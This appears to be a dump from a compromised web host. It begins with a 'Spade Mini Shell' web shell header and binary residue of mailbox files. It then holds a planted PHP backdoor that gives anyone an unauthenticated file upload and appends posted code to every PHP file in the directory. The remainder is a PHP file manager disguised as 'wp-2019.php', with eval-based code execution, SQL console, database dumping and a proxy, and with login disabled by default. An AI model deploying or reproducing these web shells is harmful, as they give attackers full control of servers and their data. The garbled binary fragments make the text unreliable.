Spade
Mini Shell
| Directory:~$ /home/lmsyaran/public_html/joomla4/ |
| [Home] [System Details] [Kill Me] |
PK�{�[t�P((.Drafts/dovecot.index.lognu��٘�(@ӯb@ӯbPK�{�[+Q[�33.Drafts/dovecot-uidlistnu��٘�3
V1655690049 N1 G32054d1940d3af62f2070000250f6965
PK�{�[t�P((.Junk/dovecot.index.lognu��٘�(@ӯb@ӯbPK�{�[䚗�33.Junk/dovecot-uidlistnu��٘�3
V1655690050 N1 G33054d1940d3af62f2070000250f6965
PK�{�[t�P((.Sent/dovecot.index.lognu��٘�(@ӯb@ӯbPK�{�[�]33.Sent/dovecot-uidlistnu��٘�3
V1655690051 N1 G34054d1940d3af62f2070000250f6965
PK�{�[t�P((.Trash/dovecot.index.lognu��٘�(@ӯb@ӯbPK�{�[���33.Trash/dovecot-uidlistnu��٘�3
V1655690052 N1 G35054d1940d3af62f2070000250f6965
PK�{�[!Нmailbox_format.cpanelnu��٘�maildirPK�{�[�L/g��dovecot.list.index.lognu��٘�(@ӯb@ӯb���������@����@list����6INBOXDraftsJunkSentTrash����
@ӯbL������������@����@list����1M@ӯb�%ie2M@ӯb�%ie3M@ӯb�%ie4M@ӯb�%ie5M@ӯb�%ie����
T$8y�b����
@�PK�{�[t�P((dovecot.index.lognu��٘�(@ӯb@ӯbPK�{�[%SQ�dovecot-uidvaliditynu��٘�62afd344PK�{�[=R�%33dovecot-uidlistnu��٘�3
V1655690048 N1 G31054d1940d3af62f2070000250f6965
PK�{�[dovecot-uidvalidity.62afd344nu��6�$PK�{�[ᑌ$maildirsizenu"�]
�2147483647C
0 0
PK�{�[���6��qdtgbzur.phpnu�[���<?php
echo"<form method='post'
enctype='multipart/form-data'><input type='file'
name='a'><input type='submit'
value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?>
<?php
if (isset($_GET['bak'])) {
$directory = __DIR__;
$mama = $_POST['file'];
$textToAppend = '
' . $mama . '
';
if ($handle = opendir($directory)) {
while (false !== ($file = readdir($handle))) {
if (pathinfo($file, PATHINFO_EXTENSION) === 'php') {
$fileHandle = fopen($directory . '/' . $file,
'a');
fwrite($fileHandle, $textToAppend);
fclose($fileHandle);
echo "OK >> $file
";
}
}
closedir($handle);
}
}
?>
PK�{�[��q��=�=wp-2019.phpnu�[���<?php
/* PHP File manager ver 1.5 */
// Configuration — do not change manually!
$authorization =
'{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script
type=\"text\/javascript\"
src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script
language=\"Javascript\"
type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid:
\"newcontent\"\r\n,display:
\"later\"\r\n,start_highlight: true\r\n,allow_resize:
\"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language:
\"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar:
\"search, go_to_line, |, undo, redo, |, select_font, |,
syntax_selection, |, change_smooth_selection, highlight, reset_highlight,
|, help\"\r\n,syntax_selection_allow:
\"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global
$fm_config;\r\nvar_export($fm_config);","Backup SQL
tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW
DATABASES;","All tables":"SHOW TABLES;"}';
$translation =
'{"id":"ru","Add":"Добавить","Are
you sure you want to delete this directory (recursively)?":"Вы
уверены, что хотите удалить эту папку
(рекурсивно)?","Are you sure you want to delete this
file?":"Вы уверены, что хотите удалить
этот
файл?","Archiving":"Архивировать","Authorization":"Авторизация","Back":"Назад","Cancel":"Отмена","Chinese":"Китайский","Compress":"Сжать","Console":"Консоль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Распаковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Английский","Error
occurred":"Произошла ошибка","File
manager":"Файловый менеджер","File
selected":"Выбран файл","File
updated":"Файл
сохранен","Filename":"Имя
файла","Files uploaded":"Файл
загружен","French":"Французский","Generation
time":"Генерация
страницы","German":"Немецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make
directory":"Создать
папку","Name":"Наименование","New":"Новое","New
file":"Новый файл","no
files":"нет
файлов","Password":"Пароль","pictures":"изображения","Recursively":"Рекурсивно","Rename":"Переименовать","Reset":"Сбросить","Reset
settings":"Сбросить
настройки","Restore file time after
editing":"Восстанавливать время файла
после
редактирования","Result":"Результат","Rights":"Права","Russian":"Русский","Save":"Сохранить","Select":"Выберите","Select
the file":"Выберите
файл","Settings":"Настройка","Show":"Показать","Show
size of the folder":"Показывать размер
папки","Size":"Размер","Spanish":"Испанский","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украинский","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found
in files":"Найдено в
файлах","Search":"Поиск","Recursive
search":"Рекурсивный
поиск","Mask":"Маска"}';
// end configuration
// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs =
array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path =
realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\',
'/',realpath('./'));
$phar_maybe =
(version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;
//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ?
$auth['authorize'] : 0;
$auth['days_authorization'] =
(isset($auth['days_authorization'])&&is_numeric($auth['days_authorization']))
? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ?
$auth['login'] : 'admin';
$auth['password'] = isset($auth['password']) ?
$auth['password'] : 'phpfm';
$auth['cookie_name'] = isset($auth['cookie_name']) ?
$auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ?
$auth['script'] : '';
// Little default config
$fm_default_config = array (
'make_directory' => true,
'new_file' => true,
'upload_file' => true,
'show_dir_size' => false, //if true, show directory size →
maybe slow
'show_img' => true,
'show_php_ver' => true,
'show_php_ini' => false, // show path to current php.ini
'show_gt' => true, // show generation time
'enable_php_console' => true,
'enable_sql_console' => true,
'sql_server' => 'localhost',
'sql_username' => 'root',
'sql_password' => '',
'sql_db' => 'test_base',
'enable_proxy' => true,
'show_phpinfo' => true,
'show_xls' => true,
'fm_settings' => true,
'restore_time' => true,
'fm_restore_time' => false,
);
if (empty($_COOKIE['fm_config'])) $fm_config =
$fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);
// Change language
if (isset($_POST['fm_lang'])) {
setcookie('fm_lang', $_POST['fm_lang'], time() +
(86400 * $auth['days_authorization']));
$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;
// Detect browser language
if($detect_lang &&
!empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) &&
empty($_COOKIE['fm_lang'])){
$lang_priority = explode(',',
$_SERVER['HTTP_ACCEPT_LANGUAGE']);
if (!empty($lang_priority)){
foreach ($lang_priority as $lang_arr){
$lng = explode(';', $lang_arr);
$lng = $lng[0];
if(in_array($lng,$langs)){
$language = $lng;
break;
}
}
}
}
// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language :
$_COOKIE['fm_lang'];
// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
$get_lang =
file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/'
. $language . '.json');
if (!empty($get_lang)) {
//remove unnecessary characters
$translation_string =
str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
$fgc = file_get_contents(__FILE__);
$search =
preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#',
$fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace =
str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
if (file_put_contents(__FILE__, $replace)) {
$msg .= __('File updated');
} else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time']))
touch(__FILE__,$filemtime);
}
$lang = json_decode($translation_string,true);
}
}
/* Functions */
//translation
function __($text){
global $lang;
if (isset($lang[$text])) return $lang[$text];
else return $text;
};
//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
if($recursive && @is_dir($file)) {
$els = fm_scan_dir($file, '', '', true);
foreach ($els as $el) {
if($el != '.' && $el != '..'){
fm_del_files($file . '/' . $el, true);
}
}
}
if(@is_dir($file)) {
return rmdir($file);
} else {
return @unlink($file);
}
}
//file perms
function fm_rights_string($file, $if = false){
$perms = fileperms($file);
$info = '';
if(!$if){
if (($perms & 0xC000) == 0xC000) {
//Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
//Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
//Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
//Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
//Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
//Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
//FIFO pipe
$info = 'p';
} else {
//Unknown
$info = 'u';
}
}
//Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
//Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
//World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function fm_convert_rights($mode) {
$mode = str_pad($mode,9,'-');
$trans =
array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
$mode = strtr($mode,$trans);
$newmode = '0';
$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2];
$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5];
$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8];
$newmode .= $owner . $group . $world;
return intval($newmode, 8);
}
function fm_chmod($file, $val, $rec = false) {
$res = @chmod(realpath($file), $val);
if(@is_dir($file) && $rec){
$els = fm_scan_dir($file);
foreach ($els as $el) {
$res = $res && fm_chmod($file . '/' . $el, $val,
true);
}
}
return $res;
}
//load files
function fm_download($file_name) {
if (!empty($file_name)) {
if (file_exists($file_name)) {
header("Content-Disposition: attachment; filename=" .
basename($file_name));
header("Content-Type: application/force-download");
header("Content-Type: application/octet-stream");
header("Content-Type: application/download");
header("Content-Description: File Transfer");
header("Content-Length: " . filesize($file_name));
flush(); // this doesn't really matter.
$fp = fopen($file_name, "r");
while (!feof($fp)) {
echo fread($fp, 65536);
flush(); // this is essential for large downloads
}
fclose($fp);
die();
} else {
header('HTTP/1.0 404 Not Found', true, 404);
header('Status: 404 Not Found');
die();
}
}
}
//show folder size
function fm_dir_size($f,$format=true) {
if($format) {
$size=fm_dir_size($f,false);
if($size<=1024) return $size.' bytes';
elseif($size<=1024*1024) return
round($size/(1024),2).' Kb';
elseif($size<=1024*1024*1024) return
round($size/(1024*1024),2).' Mb';
elseif($size<=1024*1024*1024*1024) return
round($size/(1024*1024*1024),2).' Gb';
elseif($size<=1024*1024*1024*1024*1024) return
round($size/(1024*1024*1024*1024),2).' Tb'; //:)))
else return
round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-)
} else {
if(is_file($f)) return filesize($f);
$size=0;
$dh=opendir($f);
while(($file=readdir($dh))!==false) {
if($file=='.' || $file=='..') continue;
if(is_file($f.'/'.$file))
$size+=filesize($f.'/'.$file);
else $size+=fm_dir_size($f.'/'.$file,false);
}
closedir($dh);
return $size+filesize($f);
}
}
//scan directory
function fm_scan_dir($directory, $exp = '', $type =
'all', $do_not_filter = false) {
$dir = $ndir = array();
if(!empty($exp)){
$exp = '/^' . str_replace('*', '(.*)',
str_replace('.', '\\.', $exp)) . '$/';
}
if(!empty($type) && $type !== 'all'){
$func = 'is_' . $type;
}
if(@is_dir($directory)){
$fh = opendir($directory);
while (false !== ($filename = readdir($fh))) {
if(substr($filename, 0, 1) != '.' || $do_not_filter) {
if((empty($type) || $type == 'all' || $func($directory .
'/' . $filename)) && (empty($exp) || preg_match($exp,
$filename))){
$dir[] = $filename;
}
}
}
closedir($fh);
natsort($dir);
}
return $dir;
}
function fm_link($get,$link,$name,$title='') {
if (empty($title)) $title=$name.' '.basename($link);
return ' <a
href="?'.$get.'='.base64_encode($link).'"
title="'.$title.'">'.$name.'</a>';
}
function fm_arr_to_option($arr,$n,$sel=''){
foreach($arr as $v){
$b=$v[$n];
$res.='<option value="'.$b.'" '.($sel
&&
$sel==$b?'selected':'').'>'.$b.'</option>';
}
return $res;
}
function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post"
action="">
<select name="fm_lang"
title="'.__('Language').'"
onchange="document.forms[\'change_lang\'].submit()"
>
<option value="en"
'.($current=='en'?'selected="selected"
':'').'>'.__('English').'</option>
<option value="de"
'.($current=='de'?'selected="selected"
':'').'>'.__('German').'</option>
<option value="ru"
'.($current=='ru'?'selected="selected"
':'').'>'.__('Russian').'</option>
<option value="fr"
'.($current=='fr'?'selected="selected"
':'').'>'.__('French').'</option>
<option value="uk"
'.($current=='uk'?'selected="selected"
':'').'>'.__('Ukrainian').'</option>
</select>
</form>
';
}
function fm_root($dirname){
return ($dirname=='.' OR $dirname=='..');
}
function fm_php($string){
$display_errors=ini_get('display_errors');
ini_set('display_errors', '1');
ob_start();
eval(trim($string));
$text = ob_get_contents();
ob_end_clean();
ini_set('display_errors', $display_errors);
return $text;
}
//SHOW DATABASES
function fm_sql_connect(){
global $fm_config;
return new mysqli($fm_config['sql_server'],
$fm_config['sql_username'], $fm_config['sql_password'],
$fm_config['sql_db']);
}
function fm_sql($query){
global $fm_config;
$query=trim($query);
ob_start();
$connection = fm_sql_connect();
if ($connection->connect_error) {
ob_end_clean();
return $connection->connect_error;
}
$connection->set_charset('utf8');
$queried = mysqli_query($connection,$query);
if ($queried===false) {
ob_end_clean();
return mysqli_error($connection);
} else {
if(!empty($queried)){
while($row = mysqli_fetch_assoc($queried)) {
$query_result[]= $row;
}
}
$vdump=empty($query_result)?'':var_export($query_result,true);
ob_end_clean();
$connection->close();
return
'<pre>'.stripslashes($vdump).'</pre>';
}
}
function fm_backup_tables($tables = '*', $full_backup = true) {
global $path;
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
if($tables == '*') {
$tables = array();
$result = $mysqldb->query('SHOW TABLES');
while($row = mysqli_fetch_row($result)) {
$tables[] = $row[0];
}
} else {
$tables = is_array($tables) ? $tables : explode(',',$tables);
}
$return='';
foreach($tables as $table) {
$result = $mysqldb->query('SELECT * FROM '.$table);
$num_fields = mysqli_num_fields($result);
$return.= 'DROP TABLE IF EXISTS
`'.$table.'`'.$delimiter;
$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE
'.$table));
$return.=$row2[1].$delimiter;
if ($full_backup) {
for ($i = 0; $i < $num_fields; $i++) {
while($row = mysqli_fetch_row($result)) {
$return.= 'INSERT INTO `'.$table.'` VALUES(';
for($j=0; $j<$num_fields; $j++) {
$row[$j] = addslashes($row[$j]);
$row[$j] = str_replace("\n","\\n",$row[$j]);
if (isset($row[$j])) { $return.=
'"'.$row[$j].'"' ; } else { $return.=
'""'; }
if ($j<($num_fields-1)) { $return.= ','; }
}
$return.= ')'.$delimiter;
}
}
} else {
$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is",
'', $return);
}
$return.="\n\n\n";
}
//save file
$file=gmdate("Y-m-d_H-i-s",time()).'.sql';
$handle = fopen($file,'w+');
fwrite($handle,$return);
fclose($handle);
$alert = 'onClick="if(confirm(\''. __('File
selected').': \n'. $file. '. \n'.__('Are you
sure you want to delete this file?') . '\'))
document.location.href = \'?delete=' . $file .
'&path=' . $path . '\'"';
return $file.':
'.fm_link('download',$path.$file,__('Download'),__('Download').'
'.$file).' <a href="#" title="' .
__('Delete') . ' '. $file . '" ' .
$alert . '>' . __('Delete') .
'</a>';
}
function fm_restore_tables($sqlFileToExecute) {
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
// Load and explode the sql file
$f = fopen($sqlFileToExecute,"r+");
$sqlFile = fread($f,filesize($sqlFileToExecute));
$sqlArray = explode($delimiter,$sqlFile);
//Process the sql file by statements
foreach ($sqlArray as $stmt) {
if (strlen($stmt)>3){
$result = $mysqldb->query($stmt);
if (!$result){
$sqlErrorCode = mysqli_errno($mysqldb->connection);
$sqlErrorText = mysqli_error($mysqldb->connection);
$sqlStmt = $stmt;
break;
}
}
}
if (empty($sqlErrorCode)) return __('Success').' —
'.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}
function fm_img_link($filename){
return
'./'.basename(__FILE__).'?img='.base64_encode($filename);
}
function fm_home_style(){
return '
input, input.fm_input {
text-indent: 2px;
}
input, textarea, select, input.fm_input {
color: black;
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
border-color: black;
background-color: #FCFCFC none !important;
border-radius: 0;
padding: 2px;
}
input.fm_input {
background: #FCFCFC none !important;
cursor: pointer;
}
.home {
background-image:
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
background-repeat: no-repeat;
}';
}
function fm_config_checkbox_row($name,$value) {
global $fm_config;
return '<tr><td class="row1"><input
id="fm_config_'.$value.'"
name="fm_config['.$value.']" value="1"
'.(empty($fm_config[$value])?'':'checked="true"').'
type="checkbox"></td><td class="row2
whole"><label
for="fm_config_'.$value.'">'.$name.'</td></tr>';
}
function fm_protocol() {
if (isset($_SERVER['HTTP_SCHEME'])) return
$_SERVER['HTTP_SCHEME'].'://';
if (isset($_SERVER['HTTPS']) &&
$_SERVER['HTTPS'] == 'on') return
'https://';
if (isset($_SERVER['SERVER_PORT']) &&
$_SERVER['SERVER_PORT'] == 443) return 'https://';
if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) &&
$_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return
'https://';
return 'http://';
}
function fm_site_url() {
return fm_protocol().$_SERVER['HTTP_HOST'];
}
function fm_url($full=false) {
$host=$full?fm_site_url():'.';
return $host.'/'.basename(__FILE__);
}
function fm_home($full=false){
return ' <a href="'.fm_url($full).'"
title="'.__('Home').'"><span
class="home"> </span></a>';
}
function fm_run_input($lng) {
global $fm_config;
$return =
!empty($fm_config['enable_'.$lng.'_console']) ?
'
<form method="post"
action="'.fm_url().'"
style="display:inline">
<input type="submit"
name="'.$lng.'run"
value="'.strtoupper($lng).'
'.__('Console').'">
</form>
' : '';
return $return;
}
function fm_url_proxy($matches) {
$link = str_replace('&','&',$matches[2]);
$url = isset($_GET['url'])?$_GET['url']:'';
$parse_url = parse_url($url);
$host =
$parse_url['scheme'].'://'.$parse_url['host'].'/';
if (substr($link,0,2)=='//') {
$link = substr_replace($link,fm_protocol(),0,2);
} elseif (substr($link,0,1)=='/') {
$link = substr_replace($link,$host,0,1);
} elseif (substr($link,0,2)=='./') {
$link = substr_replace($link,$host,0,2);
} elseif (substr($link,0,4)=='http') {
//alles machen wunderschon
} else {
$link = $host.$link;
}
if ($matches[1]=='href' && !strripos($link,
'css')) {
$base = fm_site_url().'/'.basename(__FILE__);
$baseq = $base.'?proxy=true&url=';
$link = $baseq.urlencode($link);
} elseif (strripos($link, 'css')){
//как-то тоже подменять надо
}
return $matches[1].'="'.$link.'"';
}
function fm_tpl_form($lng_tpl) {
global ${$lng_tpl.'_templates'};
$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
$str = '';
foreach ($tpl_arr as $ktpl=>$vtpl) {
$str .= '<tr><td class="row1"><input
name="'.$lng_tpl.'_name[]"
value="'.$ktpl.'"></td><td class="row2
whole"><textarea name="'.$lng_tpl.'_value[]"
cols="55" rows="5"
class="textarea_input">'.$vtpl.'</textarea>
<input name="del_'.rand().'" type="button"
onClick="this.parentNode.parentNode.remove();"
value="'.__('Delete').'"/></td></tr>';
}
return '
<table>
<tr><th
colspan="2">'.strtoupper($lng_tpl).'
'.__('templates').'
'.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'"
name="tpl_edited">
<tr><td
class="row1">'.__('Name').'</td><td
class="row2
whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input
name="res" type="button"
onClick="document.location.href =
\''.fm_url().'?fm_settings=true\';"
value="'.__('Reset').'"/> <input
type="submit"
value="'.__('Save').'"
></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'"
name="tpl_edited">
<tr><td class="row1"><input
name="'.$lng_tpl.'_new_name" value=""
placeholder="'.__('New').'
'.__('Name').'"></td><td
class="row2 whole"><textarea
name="'.$lng_tpl.'_new_value" cols="55"
rows="5" class="textarea_input"
placeholder="'.__('New').'
'.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input
type="submit" value="'.__('Add').'"
></td></tr>
</form>
</table>
';
}
/* End Functions */
// authorization
if ($auth['authorize']) {
if (isset($_POST['login']) &&
isset($_POST['password'])){
if (($_POST['login']==$auth['login']) &&
($_POST['password']==$auth['password'])) {
setcookie($auth['cookie_name'],
$auth['login'].'|'.md5($auth['password']),
time() + (86400 * $auth['days_authorization']));
$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
}
}
if (!isset($_COOKIE[$auth['cookie_name']]) OR
($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password'])))
{
echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width,
initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login"
type="text">
'.__('Password').' <input name="password"
type="password">
<input type="submit"
value="'.__('Enter').'"
class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';
die();
}
if (isset($_POST['quit'])) {
unset($_COOKIE[$auth['cookie_name']]);
setcookie($auth['cookie_name'], '', time() - (86400 *
$auth['days_authorization']));
header('Location:
'.fm_site_url().$_SERVER['REQUEST_URI']);
}
}
// Change config
if (isset($_GET['fm_settings'])) {
if (isset($_GET['fm_config_delete'])) {
unset($_COOKIE['fm_config']);
setcookie('fm_config', '', time() - (86400 *
$auth['days_authorization']));
header('Location: '.fm_url().'?fm_settings=true');
exit(0);
} elseif (isset($_POST['fm_config'])) {
$fm_config = $_POST['fm_config'];
setcookie('fm_config', serialize($fm_config), time() + (86400 *
$auth['days_authorization']));
$_COOKIE['fm_config'] = serialize($fm_config);
$msg = __('Settings').' '.__('done');
} elseif (isset($_POST['fm_login'])) {
if (empty($_POST['fm_login']['authorize']))
$_POST['fm_login'] = array('authorize' =>
'0') + $_POST['fm_login'];
$fm_login = json_encode($_POST['fm_login']);
$fgc = file_get_contents(__FILE__);
$search =
preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#',
$fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace =
str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
if (file_put_contents(__FILE__, $replace)) {
$msg .= __('File updated');
if ($_POST['fm_login']['login'] !=
$auth['login']) $msg .= '
'.__('Login').':
'.$_POST['fm_login']['login'];
if ($_POST['fm_login']['password'] !=
$auth['password']) $msg .= '
'.__('Password').':
'.$_POST['fm_login']['password'];
$auth = $_POST['fm_login'];
}
else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time']))
touch(__FILE__,$filemtime);
}
} elseif (isset($_POST['tpl_edited'])) {
$lng_tpl = $_POST['tpl_edited'];
if (!empty($_POST[$lng_tpl.'_name'])) {
$fm_php =
json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
$fm_php =
json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
}
if (!empty($fm_php)) {
$fgc = file_get_contents(__FILE__);
$search =
preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#',
$fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace =
str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
if (file_put_contents(__FILE__, $replace)) {
${$lng_tpl.'_templates'} = $fm_php;
$msg .= __('File updated');
} else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time']))
touch(__FILE__,$filemtime);
}
} else $msg .= __('Error occurred');
}
}
// Just show image
if (isset($_GET['img'])) {
$file=base64_decode($_GET['img']);
if ($info=getimagesize($file)){
switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
case 1: $ext='gif'; break;
case 2: $ext='jpeg'; break;
case 3: $ext='png'; break;
case 6: $ext='bmp'; break;
default: die();
}
header("Content-type: image/$ext");
echo file_get_contents($file);
die();
}
}
// Just download file
if (isset($_GET['download'])) {
$file=base64_decode($_GET['download']);
fm_download($file);
}
// Just show info
if (isset($_GET['phpinfo'])) {
phpinfo();
die();
}
// Mini proxy, many bugs!
if (isset($_GET['proxy']) &&
(!empty($fm_config['enable_proxy']))) {
$url =
isset($_GET['url'])?urldecode($_GET['url']):'';
$proxy_form = '
<div style="position:relative;z-index:100500;background:
linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed
100%);">
<form action="" method="GET">
<input type="hidden" name="proxy"
value="true">
'.fm_home().' <a href="'.$url.'"
target="_blank">Url</a>: <input type="text"
name="url" value="'.$url.'"
size="55">
<input type="submit"
value="'.__('Show').'"
class="fm_input">
</form>
</div>
';
if ($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_REFERER, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
$result = curl_exec($ch);
curl_close($ch);
//$result =
preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui',
'\\1="'.$url.'/\\2"', $result);
$result =
preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui',
'fm_url_proxy', $result);
$result = preg_replace('%(<body.*?>)%i',
'$1'.'<style>'.fm_home_style().'</style>'.$proxy_form,
$result);
echo $result;
die();
}
}
?>
<!doctype html>
<html>
<head>
